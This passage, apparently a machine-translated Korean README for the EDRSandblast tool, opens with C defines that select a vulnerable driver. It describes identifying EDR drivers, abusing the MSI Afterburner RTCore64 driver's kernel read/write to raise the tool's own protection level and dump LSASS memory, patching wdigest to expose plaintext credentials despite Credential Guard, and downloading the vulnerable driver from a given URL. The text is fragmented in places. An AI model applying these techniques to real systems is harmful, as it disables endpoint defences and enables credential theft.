#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#endif
특정 드라이버나 프로세스가 EDR 제품에 속하는지 여부를 확인하기 위해 현재 여러 기술이 사용됩니다.
첫째, 해당 목적으로 간단히 드라이버 이름을 사용할 수 있습니다. 실제로 Microsoft는 커널에 콜백을 삽입해야 하는 모든 드라이버에 대해 "Altitudes"라는 특정 숫자를 할당합니다. 이를 통해 등록 순서와는 별개로 콜백 실행에 결정적인 순서가 허용되지만 드라이버 사용량에 따라서만 결정됩니다. 특정 고도를 예약한 드라이버(공급업체) 목록은 MSDN에서 찾을 수 있습니다. 결과적으로 Microsoft에서는 보안 제품과 관련된 거의 포괄적인 보안 드라이버 이름 목록을 주로 "FSFilter Anti-Virus" 및 "FSFilter Activity Monitor" 목록으로 제공합니다. 이러한 드라이버 이름 목록은 추가 기여뿐만 아니라 EDRSandblast에 포함되어 있습니다.
또한 EDR 실행 파일과 DLL은 공급업체 서명 인증서를 사용하여 디지털 서명되는 경우가 많습니다. 따라서 프로세스와 관련된 실행 파일이나 DLL의 서명자를 확인하면 EDR 제품을 빠르게 식별할 수 있습니다.
또한 드라이버를 커널 공간에 로드하려면 Microsoft에서 직접 서명해야 합니다. 드라이버 공급업체가 직접 드라이버 자체의 서명자는 아니지만 공급업체 이름이 여전히 서명 속성 내에 포함되어 있다는 점은 확실합니다. 그럼에도 불구하고 이 탐지 기술은 아직 조사 및 구현되지 않았습니다.
마지막으로, EDRSandblast에 알려지지 않은 EDR이 발생할 때 가장 좋은 방법은 "감사" 모드에서 도구를 실행하고 커널 콜백이 등록된 드라이버 목록을 확인하는 것입니다. 그런 다음 드라이버 이름을 목록에 추가하고 도구를 다시 컴파일하고 다시 실행할 수 있습니다.
Windows 8.1 및 Windows Server 2012 R2에 처음 도입된 Local Security Authority (LSA) Protection
메커니즘은 Protected Process Light (PPL)
기술을 활용하여 LSASS
프로세스에 대한 액세스를 제한합니다. PPL
보호는 SeDebugPrivilege
권한을 보유한 프로세스에서도 보호된 프로세스의 메모리 주입 또는 메모리 덤프와 같은 작업을 규제하고 제한합니다. 프로세스 보호 모델에서는 더 높은 보호 수준으로 실행되는 프로세스만 보호되는 프로세스에서 작업을 수행할 수 있습니다.
커널 메모리의 프로세스를 나타내기 위해 Windows 커널에서 사용하는 _EPROCESS
구조에는 Type
( _PS_PROTECTED_TYPE
) 및 Signer
( _PS_PROTECTED_SIGNER
) 속성을 통해 프로세스의 보호 수준을 정의하는 _PS_PROTECTION
필드가 포함되어 있습니다.
커널 메모리에 기록함으로써 EDRSandblast 프로세스는 자체 보호 수준을 PsProtectedSignerWinTcb-Light
로 업그레이드할 수 있습니다. 이 수준은 RunAsPPL
메커니즘으로 실행되는 LSASS
프로세스의 보호 수준인 PsProtectedSignerLsa-Light
"지배"하므로 LSASS
프로세스 메모리를 덤프하는 데 충분합니다.
EDRSandBlast
다음과 같이 자체 보호를 구현합니다.
EPROCESS
구조 주소를 찾기 위해 NtQuerySystemInformation
사용하여 모든 시스템 핸들을 누출합니다.Micro-Star MSI Afterburner
드라이버의 임의 읽기/쓰기 취약점을 이용하여 커널 메모리에서 현재 프로세스의 _PS_PROTECTION
필드를 덮어씁니다. EPROCESS
구조(사용 중인 ntoskrnl
버전에 의해 정의됨)를 기준으로 한 _PS_PROTECTION
필드의 오프셋은 NtoskrnlOffsets.csv
파일에서 계산됩니다. Microsoft Credential Guard
Microsoft Windows 10 (Enterprise edition)
에 도입된 가상화 기반 격리 기술로, LSASS
프로세스에 저장된 자격 증명에 대한 직접 액세스를 방지합니다.
Credentials Guard
활성화되면 CPU의 가상화 확장을 활용하여 메모리 내 데이터에 대한 추가 보안을 제공하는 기능인 Virtual Secure Mode
에서 LSAIso
( LSA 격리됨 ) 프로세스가 생성됩니다. NT AUTHORITYSYSTEM
보안 컨텍스트를 사용하는 경우에도 LSAIso
프로세스에 대한 액세스가 제한됩니다. 해시를 처리할 때 LSA
프로세스는 LSAIso
프로세스에 대한 RPC
호출을 수행하고 LSAIso
결과가 계속될 때까지 기다립니다. 따라서 LSASS
프로세스에는 비밀이 포함되지 않으며 LSA Isolated Data
저장됩니다.
N4kedTurtle
이 수행한 원본 연구에 명시된 바와 같이 " 메모리에서 g_fParameter_useLogonCredential
및 g_IsCredGuardEnabled
값을 패치하여 Credential Guard가 있는 시스템에서 Wdigest
활성화할 수 있습니다." Wdigest
를 활성화하면 새로운 대화형 로그온에 대해 일반 텍스트 자격 증명이 LSASS
메모리에 저장됩니다(시스템을 재부팅할 필요 없이). 이 기술에 대한 자세한 내용은 원본 연구 블로그 게시물을 참조하세요.
EDRSandBlast
원래 PoC를 좀 더 opsec 친화적으로 만들고 다양한 wdigest.dll
버전에 대한 지원을 제공합니다( g_fParameter_useLogonCredential
및 g_IsCredGuardEnabled
에 대한 계산된 오프셋을 통해).
커널 모니터링 우회 작업을 안정적으로 수행하려면 EDRSandblast가 커널 메모리를 읽고 쓸 위치를 정확히 알아야 합니다. 이는 대상 이미지(ntoskrnl.exe, wdigest.dll) 내부의 전역 변수 오프셋과 Microsoft에서 기호 파일로 정의를 게시한 구조의 특정 필드 오프셋을 사용하여 수행됩니다. 이러한 오프셋은 대상 이미지의 각 빌드에 따라 다르며 특정 플랫폼 버전에 대해 최소한 한 번 수집되어야 합니다.
EDRSandblast에서 사용하는 구조와 변수를 찾기 위해 패턴 검색 대신 "하드코드된" 오프셋을 사용하는 선택은 커널 콜백 추가/제거를 담당하는 문서화되지 않은 API가 변경될 수 있고 커널을 읽거나 쓰려는 시도가 있다는 사실에 의해 정당화됩니다. 잘못된 주소의 메모리는 Bug Check
( Blue Screen of Death
)를 초래할 수 있습니다. 머신 충돌은 레드팀 구성과 일반 침투 테스트 시나리오 모두에서 허용되지 않습니다. 머신 충돌은 방어자에게 눈에 잘 띄고 공격 당시 메모리에 남아 있던 모든 자격 증명을 잃게 되기 때문입니다.
각 특정 Windows 버전에 대한 오프셋을 검색하기 위해 두 가지 접근 방식이 구현됩니다.
필요한 ntoskrnl.exe
및 wdigest.dll
오프셋은 radare2
및 r2pipe
사용하여 PDB 파일에서 기호를 다운로드 및 구문 분석하고 필요한 오프셋을 추출하는 제공된 ExtractOffsets.py
Python 스크립트를 사용하여 추출할 수 있습니다. 그런 다음 오프셋은 나중에 EDRSandblast에서 사용할 수 있도록 CSV 파일에 저장됩니다.
기본적으로 다양한 Windows 빌드를 지원하기 위해 ntoskrnl.exe
및 wdigest.dll
바이너리의 여러 버전이 Winbindex 에서 참조되며 ExtractOffsets.py
. 이를 통해 Windows 업데이트 패키지에 게시된 거의 모든 파일에서 오프셋을 추출할 수 있습니다(현재 450개 이상의 ntoskrnl.exe
및 30개 이상의 wdigest.dll
버전을 사용할 수 있으며 사전 계산됨).
프로그램이 Microsoft 기호 서버에서 필요한 .pdb
파일 자체를 다운로드하고, 필요한 오프셋을 추출하고, 해당 .csv
파일이 있는 경우 업데이트할 수도 있도록 EDRSandBlast
에 추가 옵션이 구현되었습니다.
--internet
옵션을 사용하면 도구 실행이 훨씬 간단해지며, 프로세스 중에 .pdb
파일이 다운로드되어 디스크에 삭제되므로 추가적인 OpSec 위험이 발생합니다. 이는 기호 데이터베이스를 구문 분석하는 데 사용되는 dbghelp.dll
함수에 필요합니다. 그러나 이러한 요구 사항을 충족하고 도구의 설치 공간을 줄이기 위해 향후 전체 메모리 내 PDB 구문 분석이 구현될 수 있습니다.
취약한 RTCore64.sys
드라이버는 다음 위치에서 검색할 수 있습니다.
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip